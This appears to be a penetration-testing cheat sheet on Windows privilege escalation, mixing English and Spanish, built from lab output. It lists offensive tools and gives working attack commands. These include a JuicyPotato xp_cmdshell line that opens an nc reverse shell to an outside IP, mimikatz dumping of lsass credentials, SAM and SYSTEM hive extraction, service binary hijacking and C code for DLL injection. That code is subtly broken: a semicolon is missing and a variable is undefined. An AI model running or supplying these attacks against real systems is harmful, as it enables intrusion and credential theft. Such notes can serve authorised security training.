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Windows Privilege Escalation

Useful tools

Tool Description
Seatbelt C# project for performing a wide variety of local privilege escalation checks
winPEAS WinPEAS is a script that searches for possible paths to escalate privileges on Windows hosts. All of the checks are explained here
PowerUp PowerShell script for finding common Windows privilege escalation vectors that rely on misconfigurations. It can also be used to exploit some of the issues found
SharpUp C# version of PowerUp
JAWS PowerShell script for enumerating privilege escalation vectors written in PowerShell 2.0
SessionGopher SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information
Watson Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
LaZagne Tool used for retrieving passwords stored on a local machine from web browsers, chat tools, databases, Git, email, memory dumps, PHP, sysadmin tools, wireless network configurations, internal Windows password storage mechanisms, and more
Windows Exploit Suggester - Next Generation WES-NG is a tool based on the output of Windows’ systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10 is supported
Sysinternals Suite We will use several tools from Sysinternals in our enumeration including AccessChk, PipeList, and PsService
   

SeImpersonate and SeAssignPrimaryToken

SeImpersonate example - Juicy Potato

Rogue Potato

SQL (WINLPE-SRV01\sql_dev  dbo@master)> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.195 8443 -e cmd.exe" -t *
output                                                       
----------------------------------------------------------   
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375         

......                                                       

[+] authresult 0                                             

{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM   

NULL                                                         

[+] CreateProcessWithTokenW OK                               

[+] calling 0x000000000088ce08                               

NULL                                                         

SQL (WINLPE-SRV01\sql_dev  dbo@master)> 

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.195] from (UNKNOWN) [10.129.43.43] 49686
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

SeDebugPrivilege

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

RCE con SeDebugPrivilege

Migrar proceso lsass a un proceso con SeDebugPrivilege

PS C:\Users\Public> Get-Process lsass
Get-Process lsass

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
   1299      32     7200      19236       5.56    672   0 lsass                                          


meterpreter > migrate 672
[*] Migrating from 6648 to 672...
[*] Migration completed successfully.

meterpreter > getsystem
[-] Already running as SYSTEM

SeTakeOwnerPrivilege

PS C:\htb> Import-Module .\Enable-Privilege.ps1
PS C:\htb> .\EnableAllTokenPrivs.ps1
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enabled

c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

SeBackupPrivilege

PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege

SeBackupPrivilege is enabled

Copiar un archivo protegido

PS C:\htb> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

PS C:\htb> dir E:

C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.

Extrayendo los hashes

Usando robocopy para copiar archivos

Abusar de servicios con permisos debiles mediante su binary path

C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService

Cambiando el path binario de un servicio

Enumerar servicios ejecutandose

DLL injection

LoadLibrary

#include <windows.h> // windows API
#include <stdio.h> // standard I/O

int main() {
    // Using LoadLibrary to load a DLL into the current process
    HMODULE hModule = LoadLibrary("example.dll");
    if (hModule == NULL) {
        printf("Failed to load example.dll\n");
        return -1;
    }
    printf("Successfully loaded example.dll\n");

    return 0;
}

Ejemplo de DLL injection

#include <windows.h>
#include <stdio.h>

int main() {
    // Using LoadLibrary for DLL injection
    // First, we need to get a handle to the target process
    DWORD targetProcessId = 123456 // The ID of the target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
    if (hProcess == NULL) {
        printf("Failed to open target process\n");
        return -1;
    }

    // Next, we need to allocate memory in the target process for the DLL path
    LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (dllPathAddressInRemoteMemory == NULL) {
        printf("Failed to allocate memory in target process\n");
        return -1;
    }

    // Write the DLL path to the allocated memory in the target process
    BOOL succeededWriting = WriteProcessMemory(hProcess, dllPathAddressInRemoteMemory, dllPath, strlen(dllPath), NULL);
    if (!succeededWriting) {
        printf("Failed to write DLL path to target process\n");
        return -1;
    }

    // Get the address of LoadLibrary in kernel32.dll
    LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (loadLibraryAddress == NULL) {
        printf("Failed to get address of LoadLibraryA\n");
        return -1;
    }

    // Create a remote thread in the target process that starts at LoadLibrary and points to the DLL path
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAddressInRemoteMemory, 0, NULL);
    if (hThread == NULL) {
        printf("Failed to create remote thread in target process\n");
        return -1;
    }

    printf("Successfully injected example.dll into target process\n");

    return 0;
}